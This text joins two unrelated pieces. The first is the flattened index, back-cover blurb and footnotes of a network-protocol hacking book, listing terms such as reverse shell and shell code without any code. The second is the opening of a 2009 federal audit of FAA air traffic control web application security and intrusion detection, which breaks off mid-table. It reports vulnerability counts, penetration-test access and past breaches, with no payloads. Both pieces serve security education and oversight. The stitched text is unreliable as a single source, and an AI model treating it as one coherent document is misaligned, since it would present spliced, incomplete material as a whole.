text, 54–58 times, 49–50 unknown parts, 93 proxies HTTP, 29–35 man-in-the-middle, 20 port-forwarding, 21–24 protocol analysis with, 105–106 setting up, 103–105 SOCKS, 24–29, 103 traffic analysis with, 103–110 Proxifier, 27 pseudo registers, 239 pseudorandom number generators (PRNGs), 149 public Connect() method (.NET), 192 public exponent, 161 public key, 160–161, 165 Public Key Cryptography Standard #1.5, 162 Public Key Cryptography Standard #7 (PKCS#7), 155–156 public key encryption. See asymmetric key cryptography public key infrastructure (PKI), 169–172 certificate chain verification, 170–172 |||||||||||||||||||| |||||||||||||||||||| defined, 169 web of trust, 169 X.509 certificates, 169–170 PublicClass class, 189 PublicMethod() method, 189 PUSH instruction, 115 Python, 210 binary conversions, 90–92 calling functions with, 199 ctypes library, 195 data types, 198 dissecting protocol with, 90–95 loading library with, 197 resending captured UDP traffic with, 182–183 struct library, 90–92 Q quoted string, 47–48 R rand() function, 149 random number generators, 149 RAX register, 257–260 RC4 stream cipher, 176 RDP (Remote Desktop Protocol), 51 read system call, 15, 18, 122 read_bytes() function, 91 ReadData() function, 108 ReadOutbound() function, 109 Real Time Messaging Protocol (RTMP), 29 Receive() method (.NET), 193 recv system call, 15, 122–123 recvfrom system call, 15 reflection, 189 registers Technet24 |||||||||||||||||||| |||||||||||||||||||| control, 117 CS, 116, 118 DS, 116, 118 EAX, 116, 123, 242, 258, 270 EBP, 116–117, 124 EBX, 116, 124 ECX, 116, 124 EDI, 116–117, 124 EDX, 116, 123–124 EFLAGS, 117, 119, 136 EIP, 116–117, 135 ES, 116, 118 ESI, 116, 124 ESP, 116–117, 124, 136, 270 FS, 116, 118 general purpose, 116–117, 136 GS, 116, 118 memory index, 117 pseudo, 239 RAX, 257–260 scratch, 123 selector, 118 SS, 116 x86 architecture, 116–118 remote code execution, 208 Remote Desktop Protocol (RDP), 51 Remote Method Invocation (RMI), 29 Remote Procedure Call (RPC), 22 request (DHCP packet), 72 Request for Comments (RFCs), 42, 56–57 request line, 30 rerouting traffic, 64–66 RESP field, 25 RET instruction, 115 Ret2Libc, 269 RETN instruction, 115 return-oriented programming (ROP), 268–270 |||||||||||||||||||| |||||||||||||||||||| reverse engineering dynamic, 134–137 managed languages, 137–144 obfuscation, 143–144 resources, 144 static, 125–134 tools Hopper, 289–290 IDA Pro, 289 ILSpy, 290 Java Decompiler, 288 .NET Reflector, 290–291 reverse HTTP proxy. See also forwarding HTTP proxy advantages and disadvantages of, 35 host header, 32–33 redirecting traffic to, 34 simple implementation of, 33 reverse shell, 266 Rich Site Summary (RSS), 58 Rijndael, 152 Rivest, Ron, 160 RMI (Remote Method Invocation), 29 root certificate, 170 ROP (return-oriented programming), 268–270 route print command (Windows), 65 router, 7–8 ARP poisoning, 75–77 configuring, 66–67 defined, 64 enabling DNAT, 70 enabling SNAT, 68–69 routing on Linux, 67 on macOS, 67 on Windows, 66 routing table, 8, 65–66 RPC (Remote Procedure Call), 22 Technet24 |||||||||||||||||||| |||||||||||||||||||| RSA encryption, 149 algorithm, 160–162 padding, 155, 162 signature algorithm, 165 RSS (Rich Site Summary), 58 Ruby, 210 Run() function, 187 runtime, 137 S say_hello() method, 197 say_string() method, 197 say_struct() function, 199 Scan for Hosts (Ettercap), 76 Scapy, 287 scratch registers, 123 scripting languages, 112 sections (memory), 120 secure hashing algorithm (SHA), 164 SHA-1, 133, 165–166 SHA-2, 165 SHA-3, 168 Secure Sockets Layer (SSL). See Transport Layer Security (TLS) security, 145–178 encryption, 146–149 public key infrastructure (PKI), 169–172 random number generators, 149 requirements, 145–146 signature algorithms, 164–169 symmetric key cryptography, 149–159 Transport Layer Security, 172–177 segment, 5, 87 SELECT statement, 229 selector registers, 118 self-signed certificate, 170 Send() method (.NET), 192–193 |||||||||||||||||||| |||||||||||||||||||| send system call, 15, 122–123 sendfrom system call, 15 Serpent, 152 server random (TLS), 173 session key, 162 session state, 2 set detach-on-fork off command, 237 setAccessible() (Java), 195 SGML (Standard Generalized Markup Language), 58 SHA. See secure hashing algorithm (SHA) Shamir, Adi, 160 shared key, 163 shell code accessing payloads, 265 debugging technique, 258–259 generating with Metasploit, 265–266 relative address on 32- and 64-bit systems, 263 reverse shell, 266 setting breakpoint on, 258–259 system calls, 259 exit, 260–261 write, 261–263 writing, 255–266 shell_bind_tcp, 265 Shift-JIS, 44 SHL instruction, 115, 119 SHR instruction, 115 sign flag, 117 signature algorithms, 146, 164–169 asymmetric, 165 cryptographic hashing algorithms, 164–165 DSA, 165 message authentication codes, 166–168 RSA, 165 symmetric, 166 signed integers, 39 simple checksum, 93–94 Technet24 |||||||||||||||||||| |||||||||||||||||||| Simple Mail Transport Protocol (SMTP), 3–4, 56, 59 Simple Network Management Protocol (SNMP), 53 sketches, 150 sniffing, 12–14, 73 sockaddr_in structure, 17, 122 socket system call, 15 SOCKS proxy, 103. See also proxies advantages and disadvantages of, 28–29 Firefox proxy configuration, 26 Java TCP client, 27 overview, 24 redirecting traffic to, 26–27 simple implementation of, 25–26 versions, 24–25 socksProxyHost system property, 27 socksProxyPort system property, 27 SOH (Start of Header), 56 Solaris, 16, 120 source address, 5 source code, 112 source network address translation (SNAT) configuring on Linux, 69 enabling, 68–69 $sp, 239 SPARC architecture, 42, 118, 137 spoofing DHCP, 71–74 DNS, 34 tools, 287–288 sprintf string function, 212 SQL. See Structured Query Language (SQL) SS register, 116 stack buffer overflows, 246–248, 273–276 stack buffer underflow, 275–276 stack trace, 239–240 stack variables, 128 |||||||||||||||||||| |||||||||||||||||||| Standard Generalized Markup Language (SGML), 58 start address, 120 Start of Header (SOH), 56 static linking, 113–114 static reverse engineering, 125–134. See also reverse engineering analyzing strings in, 133 extracting symbolic information in, 129–131 identifying key functionality in, 129–134 stack variables and arguments, 128 stdcall, 199 storage exhaustion attacks, 223–224 strace, 16 strcat string function, 212 strcpy string function, 212 strcpy_s string function, 212 stream ciphers, 158–159. See also block ciphers strings, 42–46 analyzing, 132 ASCII standard, 42–44 Strip tool, 131 struct library (Python), 90 Structure class, 199 structured binary formats, 53–54 Structured Query Language (SQL) injection, 228–229 Server, 229 structured text formats, 56–58 SUB instruction, 115 subroutine calling, 118–119 substitution boxes (S-Box), 152 substitution ciphers, 147 substitution-permutation network, 152 Sulley, 287 SuperFunkyChat analysis proxy captured traffic, 183–187 Technet24 |||||||||||||||||||| |||||||||||||||||||| simple network client, 184–186 simple server, 186–188 ChatClient, 81, 83–84, 106, 200 ChatServer, 80, 106 commands, 81 communicating between clients, 81 dissectors, 95–103 parser code for, 107 starting clients, 80–81 starting the server, 80 UDP mode, 97 switch device, 6 symbolic information, 129–131 symmetric key cryptography, 149. See also asymmetric key cryptography block ciphers, 150–159 stream ciphers, 158–159 symmetric signature algorithms, 166 synchronize flag (SYN), 41 system API, 268 System assembly, 141 system calls accept, 123 bind, 15 connect, 15 exit, 260–261 open, 18 read, 15, 18, 122 recv, 15, 122–123 recvfrom, 15 send, 15, 122–123 sendfrom, 15 shell code, 259–262 socket, 15 tracing, 14–19 Unix-like systems, 15–16, 122 write, 15, 18, 122, 261–263 system function, 228 |||||||||||||||||||| |||||||||||||||||||| System.Activator class (.NET), 191 System.Reflection.Assembly class (.NET), 190 System.Reflection.ConstructorInfo class (.NET), 190 System.Reflection.FieldInfo class (.NET), 190 System.Reflection.MethodInfo class (.NET), 190 System.Reflection.PropertyInfo class (.NET), 190 System.Type class (.NET), 190 T tag, length, value (TLV) pattern, 50–51, 89, 94–95 TCP. See Transmission Control Protocol (TCP) TCPDump, 278–279 TCP/IP, 2, 9–10, 121, 262 TCP/IP Guide, 16 TcpNetworkListener (ILSpy), 140 terminated data, 47–48 terminated text, 56 TEST instruction, 115, 119 testy virtual buffer (TVB), 99 text protocols, 54 Booleans, 55 dates, 55 numeric data, 55 structured text formats, 56–58 times, 55 variable-length data, 55 text-encoding character replacement, 229–231 threads, 120–121 times, 49–50, 55 TLS. See Transport Layer Security (TLS) TLS Record protocol, 172 TLV (tag, length, value) pattern, 50–51, 89, 94–95 ToDataString() method, 186 token, 56 tools Technet24 |||||||||||||||||||| |||||||||||||||||||| for active network capture and analysis Canape, 280–281 Canape Core, 281 Mallory, 281–282 fuzz testing American Fuzzy Lop, 285–286 Kali Linux, 286 Metasploit, 286 Scapy, 286 Sulley, 286 network connectivity and protocol testing Hping, 282 Netcat, 282 Nmap, 282–283 for network spoofing and redirection DNSMasq, 287 Ettercap, 287–288 for passive network capture and analysis LibPCAP, 278–279 Microsoft Message Analyzer, 278 TCPDump, 278–279 reverse engineering Hopper, 289–290 IDA Pro, 289 ILSpy, 290 Java Decompiler, 288 .NET Reflector, 290–291 for web application testing Burp Suite, 283–284 Mitmproxy, 284–285 Zed Attack Proxy, 284 traceconnect.d file, 16 traceroute, 64–65 tracert (Windows), 64–65 traffic analysis using proxy, 103 capturing active method, 20 |||||||||||||||||||| |||||||||||||||||||| HTTP, 29–35 man-in-the-middle, 20 passive method, 12–20 port-forwarding, 21–24 proxies, 20–35 SOCKS, 24–29 system call tracing, 14–19 capturing tools Dtrace, 17–18 Netcat, 180–182 Process Monitor tool, 18–19 strace, 16 generating, 83–84 outbound, 89 Transmission Control Protocol (TCP), 2–3, 21 bit flags, 41 client connection to server, 121–123 header, 5, 87 HTTP proxy, 30 packets, 87–88 port numbers, 5 port-forwarding proxy, 21–22, 201 reading contents of sessions, 85–86 reverse shell, 265–266 SOCKS proxy, 24–28 stream, 13–14 transport layer, 3, 6, 8–10 Transport Layer Security (TLS) certificate pinning, 177 client certificate, 175 decryption, 201–202 encryption, 175–176, 200–201 endpoint authentication, 174–175 forcing TLS 1.2, 202 handshake, 172–173 initial negotiation, 173 perfect forward secrecy, 177 replacing certificate in, 202–206 Technet24 |||||||||||||||||||| |||||||||||||||||||| security requirements, 176–177 TLS Record protocol, 172 trapdoor functions, 160 Triple DES, 151 true, 55 trusted root certification authorities, 204 Tshark, 180–182 TVB (testy virtual buffer), 99 Twofish, 152 two’s complement, 39 U UCS (Universal Character Set), 44–45 UDP. See User Datagram Protocol (UDP) UI (user interface), 4 uname command, 263–264 Unicode character encoding, 44–45 character mapping, 44–45 UCS-2/UTF-16, 45 UCS-4/UTF-32, 45 Unicode Transformation Format (UTF), 44–45 Unified Sniffing mode (Ettercap), 76 Uniform Request Identifier (URI), 30, 32 uninitialized data, 120 Universal Character Set (UCS), 44–45 Unix-like systems, 5 ASLR implementation flaws in, 272 AT&T syntax, 116 command injection, 228 command line utilities on, 31 configuring DNAT on, 70 Dtrace, 16 enabling routing on, 67 error codes, 262 executable format, 120 |||||||||||||||||||| |||||||||||||||||||| hosts file, 23 read and write calls, 122 routing tables on, 65 system calls, 15–16, 122 traceroute, 64 Unk2 value, 93–95 unmanaged executables, 195–199 dynamic libraries, 195–196 unsafe keyword, 210 unsigned integers, 38 UPX, 134 URI (Uniform Request Identifier), 30, 32 User Datagram Protocol (UDP), 3 captured traffic, 182–183 dissectors, 98–99 payload and header, 5 port forwading, 21 socket, 122 user enumeration, 218–219 user interface (UI), 4 user mode, 14 user-after-free vulnerability, 249–250 UTF (Unicode Transformation Format), 44–45 UTF-8, 45–46 V variable binary length data implicit-length data, 48–49 length-prefixed data, 48 padded data, 49 terminated data, 47–48 variable-length buffer overflows, 211, 213–214 variable-length data, 56 variable-length integers, 39–40 verbose errors, 221–222 Verisign, 170 Technet24 |||||||||||||||||||| |||||||||||||||||||| virtual function table, 242, 248–249 virtual hosts, 24 virtual machine, 137 VirtualAlloc, 250 Visual C++, 129 vulnerabilities authentication checking, 226 classes authentication bypass, 209 authorization bypass, 209–210 denial-of-service, 208 information disclosure, 209 remote code execution, 208 command injection, 228 CPU exhaustion attacks algorithmic complexity, 224–225 configurable cryptography, 224–225 default or hardcoded credentials, 218 exploiting arbitrary writing of memory, 253–254 defined memory pool allocations, 252–253 heap layout manipulation, 249–250 heap memory storage, 253 high-privileged file writes, 254–256 low-privileged file writes, 255 memory corruption, 245–253 user-after-free vulnerability, 249–250 format string, 227 fuzz testing, 234–236 incorrect resource access canonicalization, 220–221 verbose errors, 221–222 memory corruption buffer overflows, 210–215 data expansion attack, 217 dynamic memory allocation failures, 217 exploit mitigations, 267–268 memory-safe vs. memory-unsafe languages, 210 |||||||||||||||||||| |||||||||||||||||||| out-of-bounds buffer indexing, 216–217 memory exhaustion attacks, 222–223 shell code, 255–266 SQL injection, 228–229 storage exhaustion attacks, 223–224 text-encoding character replacement, 229–231 triaging, 236–245 user enumeration, 218–219 W W3C, 58 web application testing tools, 283–285 Burp Suite, 283–284 Mitmproxy, 284–285 Zed Attack Proxy, 284 web of trust (WOT), 169 wget, 31 windll, 199 Windows ASLR implementation flaws in, 272 calling functions with Python on, 199 certificate manager, 203 debug symbols, 129 debugger, 236–241, 244–245 dynamic link libraries, 196 enabling routing on, 67 FILETIME, 50 loading library on, 197 Page Heap, 244–245 registry, 67 Winsock library, 121 XP SP2, 270 WinDump, 278 WinPcap, 278 Winsock, 121 Wireshark, 12–14, 81, 279–280 Technet24 |||||||||||||||||||| |||||||||||||||||||| basic analysis, 84–85 capture interfaces dialog, 82–83 Conversations window, 84–85 dissectors, 95–103 generating network traffic in, 83–84 Hex Dump view, 86–95 main window, 82 reading contents of TCP sessions in, 85–86 Tshark command line version, 180–182 WOT (web of trust), 169 write system call, 15, 18, 122, 261–263 WriteData() function, 108 WritePackets() method, 22 ws2_32.dll Windows network library, 130–131 X X.509 certificates, 53–54, 169–171, 173 X.680 series, 53 x86 architecture, 42, 125 history, 114 instruction mnemonics, 115 instruction set architecture, 114–116 mnemonic forms, 115 program flow, 118–119 registers, 116–118 xcalc, 228 XML Schema, 58 XOR encryption, 108–109, 148–149, 153–154 XOR instruction, 115 XOR parameter, 108–109 xp_cmdshell function, 229 xxd tool, 90, 181 Z Zed Attack Proxy (ZAP), 284 |||||||||||||||||||| |||||||||||||||||||| zero flag, 117 ZLib compression library, 132 Technet24 |||||||||||||||||||| |||||||||||||||||||| RESOURCES Visit https://www.nostarch.com/networkprotocols/ for resources, errata, and more information. More no-nonsense books from NO STARCH PRESS ROOTKITS AND BOOTKITS Reversing Modern Malware and Next Generation Threats by ALEX MATROSOV, EUGENE RODIONOV, and SERGEY BRATUS SPRING 2018, 504 PP., $49.95 ISBN 978-1-59327-716-1 |||||||||||||||||||| |||||||||||||||||||| SERIOUS CRYPTOGRAPHY A Practical Introduction to Modern Encryption by JEAN-PHILIPPE AUMASSON NOVEMBER 2017, 312 PP., $49.95 ISBN 978-1-59327-826-7 GRAY HAT C# A Hacker’s Guide to Creating and Automating Security Tools by BRANDON PERRY JUNE 2017, 304 PP., $39.95 Technet24 |||||||||||||||||||| |||||||||||||||||||| ISBN 978-1-59327-759-8 PRACTICAL PACKET ANALYSIS, 3RD EDITION Using Wireshark to Solve Real-World Network Problems by CHRIS SANDERS APRIL 2017, 368 PP., $49.95 ISBN 978-1-59327-802-1 THE HARDWARE HACKER |||||||||||||||||||| |||||||||||||||||||| Adventures in Making and Breaking Hardware by ANDREW “BUNNIE” HUANG MARCH 2017, 416 PP., $29.95 ISBN 978-1-59327-758-1 hardcover BLACK HAT PYTHON Python Programming for Hackers and Pentesters by JUSTIN SEITZ DECEMBER 2014, 192 PP., $34.95 ISBN 978-1-59327-590-7 PHONE: 1.800.420.7240 OR +1.415.863.9900 EMAIL: [email protected] WEB: www.nostarch.com Technet24 |||||||||||||||||||| |||||||||||||||||||| |||||||||||||||||||| |||||||||||||||||||| “James can see the Lady in the Red Dress, as well as the code that rendered her, in the Matrix.” — Katie Moussouris, founder and CEO, Luta Security Attacking Network Protocols is a deep dive into network protocol security from James Forshaw, one of the world’s leading bug hunters. This comprehensive guide looks at networking from an attacker’s perspective to help you discover, exploit, and ultimately protect vulnerabilities. You’ll start with a rundown of networking basics and protocol traffic capture before moving on to static and dynamic protocol analysis, common protocol structures, cryptography, and protocol security. Then you’ll turn your focus to finding and exploiting vulnerabilities, with an overview of common bug classes, fuzzing, debugging, and exhaustion attacks. Learn how to: • Capture, manipulate, and replay packets • Develop tools to dissect traffic and reverse engineer code to understand the inner workings of a network protocol • Discover and exploit vulnerabilities such as memory corruptions, authentication bypasses, and denials of service • Use capture and analysis tools like Wireshark and develop your own custom network proxies to manipulate network traffic Attacking Network Protocols is a must-have for any penetration tester, bug hunter, or developer looking to understand and discover network vulnerabilities. About the Author James Forshaw is a renowned computer security researcher at Google Project Zero and the creator of the network protocol analysis tool Canape. His discovery of complex design issues in Microsoft Windows earned him the top bug bounty of $100,000 and placed him as the #1 researcher on the published list from Microsoft Security Response Center (MSRC). He’s been invited to present his novel security research at global security conferences such as BlackHat, CanSecWest, and Chaos Computer Congress. Technet24 |||||||||||||||||||| |||||||||||||||||||| THE FINEST IN GEEK ENTERTAINMENT™ www.nostarch.com |||||||||||||||||||| |||||||||||||||||||| Footnotes Chapter 2: Capturing Application Traffic 1. A proxy loop occurs when a proxy repeatedly connects to itself, causing a recursive loop. The outcome can only end in disaster, or at least running out of available resources. Chapter 3: Network Protocol Structures 1. Just ask those who have tried to parse HTML for errant script code how difficult that task can be without a strict format. Chapter 6: Application Reverse Engineering 1. Apple moved to the x86 architecture in 2006. Prior to that, Apple used the PowerPC architecture. PCs, on the other hand, have always been based on x86 architecture. 2. This isn’t completely accurate: many network cards can perform some processing in hardware. Technet24 |||||||||||||||||||| ||||||||||||||||||||
pdf
REVIEW OF WEB APPLICATIONS SECURITY AND INTRUSION DETECTION IN AIR TRAFFIC CONTROL SYSTEMS Federal Aviation Administration Report Number: FI-2009-049 Date Issued: May 4, 2009 Memorandum U.S. Department of Transportation Office of the Secretary of Transportation Office of Inspector General Subject: ACTION: Report on Review of Web Applications Security and Intrusion Detection in Air Traffic Control Systems Report Number: FI-2009-049 Date: May 4, 2009 From: Rebecca C. Leng Assistant Inspector General for Financial and Information Technology Audits Reply to Attn. of: JA-20 To: Acting Federal Aviation Administrator This report presents the results of our audit of Web applications security and intrusion detection in air traffic control (ATC) systems. This audit was requested by the Ranking Minority members of the House Committee on Transportation and Infrastructure and its Aviation Subcommittee. Homeland Security Presidential Directive (HSPD)–7 designates air traffic control systems as part of the Nation’s critical infrastructure due to the important role commercial aviation plays in fostering and sustaining the national economy and ensuring citizens’ safety and mobility. Essentially, HSPD-7 requires the Secretary of Transportation to ensure that the ATC system is protected from both physical and cyber security threats to prevent disruptions in air travel and commerce. The need to protect ATC systems from cyber attacks requires enhanced attention because the Federal Aviation Administration (FAA) has increasingly turned toward the use of commercial software and Internet Protocol (IP)1-based technologies to modernize ATC systems. While use of commercial IP products, such as Web applications,2 has enabled FAA to efficiently collect and disseminate information to facilitate ATC services, it inevitably poses a higher security risk to ATC systems than when they were developed primarily with proprietary software. 1 Internet Protocol (IP) is a communications standard describing how data are sent from one computer to another over the Internet. 2 A Web application is a software program running on a Web server that can be accessed by using a Web browser. A Web server may host multiple Web applications. For purposes of this report, we use “Web application” to refer to either a Web application or a Web server. 2 Now, attackers can take advantage of software vulnerabilities in commercial IP products to exploit ATC systems, which is especially worrisome at a time when the Nation is facing increased threats from sophisticated nation-state-sponsored cyber attacks. Accordingly, the objectives of this performance audit were to determine whether (1) Web applications used in supporting ATC operations are properly secured to prevent unauthorized access to ATC systems, and (2) FAA’s network intrusion- detection capability is effective in monitoring ATC cyber-security incidents. KPMG, LLP, of Washington, D.C., under contract to the Office of Inspector General (OIG), completed the audit work for the first objective. This work included vulnerability assessment and penetration testing on selected Web applications used in supporting ATC operations. We performed a quality control review of the audit work carried out by KPMG to ensure that it complied with generally accepted government auditing standards. In our opinion, KPMG’s audit work complied with applicable standards. We supplemented KPMG’s work by conducting an analysis of significant cyber incidents reported by FAA in recent years. KPMG’s report detailing findings of vulnerabilities and penetration results was provided to FAA in November 2008 for corrective action. This report summarizes both KPMG’s and our results. We performed audit work to address the second objective. This work included analysis of FAA’s cyber intrusion-detection capability and interviews with key personnel. We conducted our audit in accordance with generally accepted government auditing standards. Those standards require that we plan and perform the audit to obtain sufficient, appropriate evidence to provide a reasonable basis for our findings and conclusions based on our audit objectives. We believe that the evidence obtained provides a reasonable basis for our findings and conclusions based on our audit objectives. Details of our scope and methodology are described in Exhibit A. RESULTS IN BRIEF Web applications used in supporting ATC systems operations are not properly secured to prevent attacks or unauthorized access. In addition, FAA has not established adequate intrusion-detection capability to monitor and detect potential cyber security incidents at ATC facilities. 3 Web Applications Security We tested 70 Web applications, some of which are used to disseminate information to the public over the Internet, such as communications frequencies for pilots and controllers; others are used internally within FAA to support eight ATC systems.3 Our test identified a total of 763 high-risk, 504 medium-risk, and 2,590 low-risk vulnerabilities,4 such as weak passwords and unprotected critical file folders. By exploiting these vulnerabilities, the public could gain unauthorized access to information stored on Web application computers. Further, through these vulnerabilities, internal FAA users (employees, contractors, industry partners, etc.) could gain unauthorized access to ATC systems because the Web applications often act as front-end interfaces (providing front-door access) to ATC systems. In addition, these vulnerabilities could allow attackers to compromise FAA user computers by injecting malicious code onto the computers. During the audit, KPMG and OIG staff gained unauthorized access to information stored on Web application computers and an ATC system, and confirmed system vulnerability to malicious code attacks. Unauthorized access was gained to information stored on Web application computers associated with the Traffic Flow Management Infrastructure system, Juneau Aviation Weather System, and the Albuquerque Air Traffic Control Tower; Unauthorized access was gained to an ATC system used to monitor critical power supply at six en route centers; and Vulnerability found on Web applications associated with the Traffic Flow Management Infrastructure system was confirmed, which could allow attackers to install malicious codes on FAA users’ computers. 3 While Web technologies are used to support many ATC systems, this audit covered only the following eight systems: FAA’s Air Route Traffic Control Center Critical Essential Power System Power Monitoring System (APMS), TECHNET, En Route Automation Modernization/En Route Information Display System (ERAM/ERIDS), Computer-Aided Engineering Graphics (CAEG), Automated Inventory Tracking System ver. 2 (AITSv2), Airport Surveillance Radar—Local Area Network (ASRLAN), Juneau Aviation Weather System (JAWS), and Traffic Flow Management Infrastructure (TFM-I). 4 High-risk vulnerabilities may provide an attacker with immediate access into a computer system, such as allowing execution of remote commands. Medium-risk and low-risk vulnerabilities may provide an attacker with useful information, such as error messages revealing system configuration, that they can then use to compromise a computer system. 4 This occurred because (1) Web applications were not adequately configured5 to prevent unauthorized access and (2) Web application software with known vulnerabilities was not corrected in a timely matter by installing readily available security software patches released to the public by software vendors. Intrusion-detection Capabilities To effectively monitor and detect potential cyber-security incidents on a network, intrusion-detection-system (IDS) sensors need to be installed at various critical network points. There, sensors automatically generate security alerts when potential cyber attacks are detected so that further incident response can be made. FAA’s intrusion-detection capability is ineffective because of inadequate deployment of IDS sensors at the facility level and a lack of timely remediation of incidents detected. Specifically, ATC systems are located at hundreds of operational facilities such as en route centers, terminal radar approach control facilities, and airport control towers. However, IDS sensors have been deployed to only 11 of these ATC facilities. Further, none of the IDS sensors are installed to monitor ATC operational systems at these facilities, such as the IP-based network associated with the Host Computer System. Instead, these sensors provide monitoring coverage only for mission-support systems, such as e- mail systems. During Fiscal Year (FY) 2008, more than 800 cyber incident alerts were issued to the Air Traffic Organization (ATO), which is responsible for ATC operations. As of the end of FY 2008, over 150 incidents (17 percent) had not been remediated, including critical incidents in which hackers may have taken over control of ATO computers. Without fully deploying IDS monitoring capability at ATC facilities and timely remediation against cyber incidents, FAA cannot take effective action to stop or prevent these cyber attacks, thus increasing the risk of further attacks on ATC systems. In recent years, serious cyber attacks have occurred on FAA networks. For example, in February 2009, hackers compromised an FAA public-facing Web application computer and used it as a conduit to gain unauthorized access to personally identifiable information (PII) on 48,000 current and former FAA employees. In 2008 hackers took control of FAA’s critical network servers 5 Software configuration involves setting up a software system for one’s particular uses, such as changing a factory-set default password of “PASSWORD” to one less easily guessed. 5 (domain controllers) and gained the power to shut down the servers, which could cause serious disruption to FAA’s mission-support network. In 2006 a viral attack, widely distributed on the Internet, spread to FAA’s ATC systems, forcing FAA to shut down a portion of its ATC systems in Alaska. In our opinion, unless effective action is taken quickly, it is likely to be a matter of when, not if, ATC systems encounter attacks that do serious harm to ATC operations. As indicated by the former Director of National Intelligence, “Our information infrastructure . . . increasingly is being targeted for exploitation and potentially for disruption or destruction. . . . Terrorist groups . . . have expressed the desire to use cyber means to target the United States. . . . It is no longer sufficient for the U.S. Government to discover cyber intrusions in its networks, clean up the damage, and take legal or political steps to deter further intrusions. We must take proactive measures to detect and prevent intrusions from whatever source, as they happen, and before they can do significant damage.”6 We made a series of recommendations beginning on page 11 to help enhance security over Web applications used in supporting ATC operations and improve the effectiveness of FAA’s cyber-incident-monitoring and -response capabilities. FAA concurred with all of our recommendations, and recognized that constant vigilance and effective action are the keys to addressing cyber security in its ATC systems. The response can be found in its entirety in Appendix A. FINDINGS Web Applications Used in Supporting ATC Systems Operations Are Not Properly Secured Web applications used in supporting ATC systems operations are not properly secured to prevent attacks or unauthorized access. KPMG staff conducted two separate security tests—one originated from the Internet and the other from FAA Headquarters’ mission-support network. Due to time and resource constraints, only 70 Web applications were tested. Thirty-five of these Web applications are 6 Annual Threat Assessment of the Director of National Intelligence for the Senate Select Committee on Intelligence (J. Michael McConnell, Director of National Intelligence, February 5, 2008). 6 used by FAA to disseminate information to the public over the Internet, such as communications frequencies for pilots and controllers; others are used internally within FAA to support the eight ATC systems. The tests identified a total of 763 high-risk, 504 medium-risk, and 2,590 low-risk vulnerabilities (see Table 1). Table 1. Internet-based and Internal Security Testing Results Source: KPMG High-risk vulnerabilities may provide an attacker with immediate access into a computer system, such as allowing execution of remote commands. Medium-risk and low-risk vulnerabilities may provide an attacker with useful information, such as error messages revealing system configuration, that they can then use to compromise a computer system. The following are examples of risks to ATC systems as a result of Web application vulnerabilities: Vulnerabilities allowed unauthorized access to information stored on Web application computers. Vulnerabilities found in Web application computers associated with the Traffic Flow Management Infrastructure system, Juneau Aviation Weather System, and the Albuquerque Air Traffic Control Tower allowed KPMG and OIG staff to gain unauthorized access to data stored on these computers, including program source code and sensitive PII. Vulnerable Web applications were used as conduits to gain unauthorized access to and potentially compromise ATC system operations. Through vulnerable Web applications, KPMG staff gained unauthorized access to the Power Monitoring System at six en route centers—Anchorage, Boston, Denver, Oakland, Salt Lake City, and Seattle. While this system is not used to separate aircraft, it provides the critical mission-support function of eliminating voltage dropouts and surges caused by sources outside ATC facilities. The unauthorized access enabled KPMG staff to generate power condition reports, which could be used by attackers as intelligence information for planning attacks. A similar incident actually occurred in Number of Vulnerabilities and Risk Level Number of Web Applications Tested High Medium Low Internet- based (Public Use) 35 212 169 1,037 Internal (FAA Use) 35 551 335 1,553 Total 70 763 504 2,590 7 February 2009. By using a vulnerable public-facing Web application computer as a conduit, hackers gained unauthorized access to 48,000 PII records stored in an FAA database. Vulnerable Web applications could allow attackers to execute malicious codes on FAA users’ computers. This vulnerability was found on Web applications associated with the Traffic Flow Management Infrastructure system. Once infected via these applications, FAA user computers would take orders from hackers to attack other computers or send critical network information to hackers (“exfiltration”).7 A similar incident actually occurred in August 2008. By executing malicious codes, hackers took control of FAA’s critical network servers (domain controllers) and gained the power to shut down the servers, which could have caused serious disruption to FAA’s mission-support network. So far most attacks have primarily disrupted FAA’s ATC mission-support function. However, it is important to understand that attacks can spread from the mission-support network to the operational network—where real-time surveillance, communications, and flight information is processed to separate aircraft—because of network connections, as shown in Figure 1. Figure 1. ATC IP-based Network Infrastructurea a This infrastructure consists primarily of the backbone FAA Telecommunications Infrastructure (FTI) and several local area networks; FAA relies on this infrastructure to conduct ATC operations. ATC systems are hosted on local area networks at ATC facilities, which have connections to both FTI operational and mission-support networks. (Source: OIG) 7 In recent years, huge amounts of U.S. Government (including Department of Transportation) and commercial data were “exfiltrated” to foreign domains on the Internet. This has resulted in a sweeping effort to strengthen Government-wide cyber security by the Office of Management and Budget. 8 Because of network connections—authorized (such as performing system maintenance) and unauthorized (such as inadequate network setup)—between FAA’s mission-support and ATC systems, the risk of cyber attacks is magnified. These FAA security-related events of recent years highlight the risk of cyber attacks: In FY 2006, we reported that FAA’s Remote Maintenance Monitoring System was connected to the less-secure mission-support network, which created security exposure to ATC operations; In FY 2006, a viral attack originating from the Internet spread from administrative networks to ATC systems, forcing FAA to shut down a portion of its ATC systems in Alaska; In FY 2008, hackers took over FAA computers in Alaska, becoming FAA “insiders.” By taking advantage of FAA’s interconnected networks, hackers later stole FAA’s enterprise administrator’s password in Oklahoma, installed malicious codes with the stolen password, and compromised FAA’s domain controller in its Western Pacific Region. At that point, hackers had the ability to obtain more than 40,000 FAA user IDs, passwords, and other information used to control a portion of the FAA mission-support network. In FY 2009, hackers compromised an FAA public-facing Web application computer on the Internet and used it as a conduit to enter an FAA internal database server. Included in the server was PII on 48,000 current and former FAA employees, including names, dates of birth, Social Security numbers, pay grades/bands, addresses, veterans’ preferences, usernames and passwords, and education/medical/health information. These Web vulnerabilities occurred because (1) Web applications were not adequately configured to prevent unauthorized access and (2) Web application software with known vulnerabilities was not corrected in a timely manner by installing readily available security software patches released to the public by software vendors. Intrusion-detection Capabilities Are Not Adequate to Protect ATC Systems As previously shown in Figure 1, the ATC IP-based network infrastructure consists primarily of its backbone FTI wide-area network and numerous local area networks within ATC facilities. While the FTI wide-area network is monitored by an FAA contractor, FAA relies on DOT’s Cyber Security Management Center 9 (CSMC) to monitor cyber incidents at the facility level. Adequate monitoring is critical for ensuring timely detection of network security incidents. However, FAA’s intrusion-detection capability is ineffective because of inadequate deployment of IDS sensors and a lack of timely remediation of incidents detected. Specifically, Cyber incidents were not effectively monitored at ATC facilities. To identify potential cyber incidents, FAA needs IDS sensors installed at key locations to collect critical information for security analyses. ATC systems are located at hundreds of operational facilities such as en route centers, terminal radar approach control facilities, airport control towers, and flight service stations. However, IDS sensors have been deployed to only 11 of these ATC facilities—five en route centers, four terminal radar approach control facilities or airport traffic control towers, and the Technical Center in Atlantic City and Mike Monroney Aeronautical Center in Oklahoma City (see Table 2). Table 2. CSMC IDS 